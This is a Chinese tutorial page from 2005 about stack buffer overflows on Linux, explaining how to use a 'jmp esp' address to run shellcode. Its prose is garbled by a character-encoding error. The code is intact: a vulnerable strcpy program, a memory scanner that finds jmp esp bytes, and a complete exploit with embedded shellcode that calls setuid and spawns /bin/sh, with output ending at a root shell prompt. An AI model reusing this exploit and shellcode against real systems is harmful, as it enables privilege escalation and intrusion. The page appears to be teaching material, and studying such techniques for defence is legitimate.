ÅÓ´ó×ÊÔ´¿âµÄ¼ÆËã»ú½Ì³ÌÍøÕ¾£¡
ÉèΪÊ×Ò³
¼ÓÈëÊÕ²Ø
×ܱàÐÅÏä
Ͷ¸å»òÉêÇëרÀ¸ÇëÏÈ [µÇ ½]
Ê×Ò³ ©®²Ù×÷ϵͳ ©®³ÌÐòÉè¼Æ ©®Í¼ÐÎͼÏñ ©®Ã½Ì嶯»­ ©®»úеµç×Ó ©®WEB¿ª·¢ ©®Êý ¾Ý ¿â ©®°ì¹«ÏµÁÐ ©®Â·Óɼ¼Êõ ©®ÍøÂçÔ­Àí ©®ÍøÂçÓ¦Óé®
©®ÈÏÖ¤¿¼ÊÔ ©®°²È«¼¼Êõ ©®
Ê×Ò³>°²È«¼¼Êõ>ºÚ¿Í¹¥·À>ºÚ¿Í±à³Ì>ÕýÎÄ
×ÊÁÏËÑË÷
GoogleËÑË÷
Google
¨…·µ»ØÉϼ¶Áбí

ÍÆ¼öÎÄÕÂ

¿ìËÙ±£´æÍøÒ³ÖÐËùÓÐͼƬµÄ·½·¨
WindowsÖÐÈùâÇýÇÉÃî¡°ÒþÉí¡±¼¼
·À·¶·Ç·¨Óû§ÈëÇÖWin 2000/XPϵ
Á½¿î±È½ÏµäÐ͵ÄASPľÂí·À·¶·½·¨
Óйرí¸ñ±ß¿òµÄcssÓï·¨ÕûÀí
Windows XPÖпÉÒÔ±»½ûÓõķþÎñ
SQL Serverµ¼³öµ¼ÈëÊý¾Ý·½·¨
JavascriptËùÓжÔÏóµÄÊôÐԵĻñ
ÍøÒ³£¨HTML£©ÖеÄÌØÊâ×Ö·û
ÓëÀºÇò¹²Î裬¾¡ÏÔģʽ±¾É«
QQ²¡¶¾µÄÊÖ¹¤Çå³ý·½·¨
PhotoshopΪ¼«Æ·ÃÀÅ®´òÔìÐԸнÞ
ÌìÒÂÎÞ·ì:IISÓëPHPË®»ðÒ²ÏàÈÝ
SQL Server´æ´¢¹ý³Ì±àдºÍÓÅ»¯

ÀûÓÃjmp esp Ö´ÐÐshellcode

 ×÷Õߣº±¾Õ¾ÊÕ¼¯   ÈÕÆÚ£º2005-5-23
×ÖºÅÑ¡Ôñ¡¼ ´ó ÖРС ¡½/ Ë«»÷¹öÆÁ µ¥»÷Í£Ö¹   
1. ǰÑÔ.
LinuxÏÂÃæBuffer overflowÖÐÀûÓÃÌø×ªµ½¶ÑÕ»ÖеÄshellcodeÓõıȽ϶à, windowsÏÂÃæÀûÓÃjmp espÌø×ªµÄ±È½Ï¶à, ±¾ÎÄûÓÐʲô¼¼ÊõÐÂÒâ,²»¹ýÊÇÍ»·¢ÆæÏë, ¸Ä±äÒ»ÏÂÎÒ×Ô¼ºÒÔÍùµÄ·½·¨¶øÒÑ.
2. ±È½Ï.
¾­³£Ê¹ÓõÄÌø×ªµ½¶ÑÕ»µÄshellcode·½·¨ÓкܺõÄÒ»Ãæ, ±ÈÈç¿ÉÒÔ°Ñshellcode·Åµ½ENVÀïÃæ, ÕâÑù¿ÉÒÔÌӱܳ¤¶ÈµÄÏÞÖÆ. ȱµãÊÇÕâ¸ö¼ÆËãÂé·³,Ôö´óNOPÊǸö²»´íµÄÑ¡Ôñ. Jmp espÒ²ÊǸö²»´íµÄÑ¡ÔñŶ, ÕâÑù¿ÉÒÔ²»ÓÃÖªµÀshellcodeµÄ¾ßÌåλÖÃÁË.
3. ¿´¿´Ôõô»ØÊ°É.
ÓÐÎÊÌâµÄ³ÌÐò:
[netconf@linux1 test]$ cat vul.c
#include
#include
#include

int foo(char *s1)
{
char buffer[20];
memset(buffer,0,20);
strcpy(buffer,s1);
printf("input:%s\r\n",buffer);
return 0;
}

main(int argc,char **argv)
{

if(argc<2)
{
printf("Usage:%s \n",argv[0]);
exit(0);
}
foo(argv[1]);
exit(0);
}
ºÜÆÕͨµÄÒ»¸öbuffer overflow.
¶ÑÕ»½á¹¹ÈçÏÂËùʾ:
|AAAA¡­¡­¡­¡­¡­.A| ÆäËûÄÚÈÝ | ebp | eip |
Òç³öºó, Ò»°ãÊÇÕâÑùµÄ:
|AAAAAA¡­¡­¡­...A¡­¡­.AAAAAAAA|shellcodeµØÖ·|
ÀûÓÃshellcodeµØÖ·Ìæ»»µô±£´æµÄeipÖµ
ÀûÓÃjmp espµÄ¶ÑÕ»½á¹¹:
|AAAAAAAAAAAAAAAAAAAAAA|jmp esp addr|shellcode
ÓÃjmp esp addrÀ´¸²¸Çeip,ÕâÑùµ±³ÌÐòÖ´ÐÐeipµÄʱºò, »áÖ´ÐÐjmp espÖ¸Áî, Õâ¸öʱºòespÒѾ­ÊÇÎÒÃÇ´æ·ÅshellcodeµÄµØÖ·ÁË, ÕâÑùµÄ¾«È·ÐԾʹó´óÌá¸ßÁË,¶øÇÒ²»ÓöàÓàµÄNOPÀ´¸²¸Ç.
Ê×ÏÈ, ÎÒÃÇÐèÒªÒ»¸öµØÖ·,Õâ¸öµØÖ·µÄÄÚÈݵĻã±à´úÂëÓ¦¸ÃÊÇjmp esp , ÎÒÃÇÐèҪдһ¸öС³ÌÐòÀ´»ñµÃÎÒÃÇËùÐèÒªµÄµØÖ·:
[netconf@linux1 test]$ cat findesp.c
#include
#include
#include
unsigned int i=0x4211cc79;
unsigned int a=0;
unsigned char *p;
void de(int j)
{
printf("\r\nGot SIGSEGV:");
printf("%p\r\n",p+a);
a++;
exit(0);
}
main()
{
p=(unsigned char *)i;
signal(SIGSEGV,de);
foo();
}
int foo()
{
while((unsigned int)p+a<0xbfffffff)
{
fflush(stdout);
if((*(p+a)==0xff) && (*(p+a+1)==0xe4))
{
printf("found it!!,p addr:%p\n",p+a);
a+=2;
foo();
}
a++;
}
exit(0);
}
ÔËÐÐÒ»ÏÂ:
[netconf@linux1 test]$ ./findesp
found it!!,p addr:0x4211ccf7
found it!!,p addr:0x4211dd5b
found it!!,p addr:0x4211dee7
found it!!,p addr:0x4211e15f
found it!!,p addr:0x4211e59f
found it!!,p addr:0x42125aa3
found it!!,p addr:0x42125c13

Got SIGSEGV:0x4212f000
[netconf@linux1 test]$
²»´í°É, µÃµ½Á˺ܶà¸öÂú×ãÌõ¼þµÄµØÖ·, ÎÒÃÇËæ±ãѡһ¸ö, Ö»Òª²»´ø0x00¾ÍºÃ.
ÕâÑùÎÒÃÇ¿ÉÒÔд³öÕâÑùÒ»¸öexploit:
[netconf@linux1 test]$ cat exp.c
#include
#include
#include
#include
#include

#define JMPESP 0x42125aa3

char progname[]="./vul";
char shellcode[]=
"\x31\xdb\x31\xc9\x31\xd2\x31\xc0\xb0\xa4\xcd\x80"
"\x89\xd8\xb0\x17\xcd\x80"
"\x31\xc0\x50\x50\xb0\xb5\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

main(int argc,char **argv)
{
char buffer[1024];
int num=44,i=0;

memset(buffer,0,1024);
memset(buffer,'A',num);
buffer[num++]=JMPESP & 0xff;
buffer[num++]=(JMPESP>>8) & 0xff;
buffer[num++]=(JMPESP>>16) & 0xff;
buffer[num++]=(JMPESP>>24) & 0xff;
memcpy(buffer+num,shellcode,sizeof(shellcode));
execl(progname,progname,buffer,NULL);
}
ÊDz»ÊǺ̵ܶijÌÐò?
[netconf@linux1 test]$ ./exp
¡­¡­¡­¡­¡­¡­¡­¡­
. Í€1Û‰Ø@Í€èÜÿÿÿ/bin/sh
sh-2.05b#
ÇáËɸ㶨.
ÉÏһƪ£ºÄں˴¦ÀíÐźŶÔÓ¦Óòã¶ÑÕ»µÄÓ°Ïì    ÏÂһƪ£º²ËÄñ±à³ÌÊ®´óºÃϰ¹ß  
[·¢Ë͸øºÃÓÑ]  [¹Ø±Õ´°¿Ú]  [·µ»Ø¶¥²¿]   ×ªÔØÇë×¢Ã÷À´Ô´£ºwww.it00.com   
ÌØ±ðÉùÃ÷£º ±¾Õ¾³ý²¿·ÖÌØ±ðÉùÃ÷½ûÖ¹×ªÔØµÄר¸åÍâµÄÆäËûÎÄÕ¿ÉÒÔ×ÔÓÉ×ªÔØ£¬µ«ÇëÎñ±Ø×¢Ã÷³ö´¦ºÍԭʼ×÷Õß¡£ÎÄÕ°æÈ¨¹éÎÄÕÂԭʼ×÷ÕßËùÓС£¶ÔÓÚ±»±¾Õ¾×ªÔØÎÄÕµĸöÈ˺ÍÍøÕ¾£¬ÎÒÃDZíʾÉîÉîµÄлÒâ¡£Èç¹û±¾Õ¾×ªÔصÄÎÄÕÂÓаæÈ¨ÎÊÌâÇëÁªÏµ±à¼­ÈËÔ±£¬ÎÒÃǾ¡¿ìÓèÒÔ¸üÕý¡£
ÔðÈα༭£º Ô­µã Ͷ¸å×÷Õߣº ±¾Õ¾ÊÕ¼¯
ÐÅÏ¢À´Ô´£º ÍøÂç ¼Èëʱ¼ä£º 2005-5-23
¹ØÓÚÎÒÃÇ - ¹ã¸æ·þÎñ - °æÈ¨ÉêÃ÷ - ÍøÕ¾µØÍ¼ - ÁªÏµ·½Ê½ - ×ܱàÐÅÏä - »áԱͶ¸å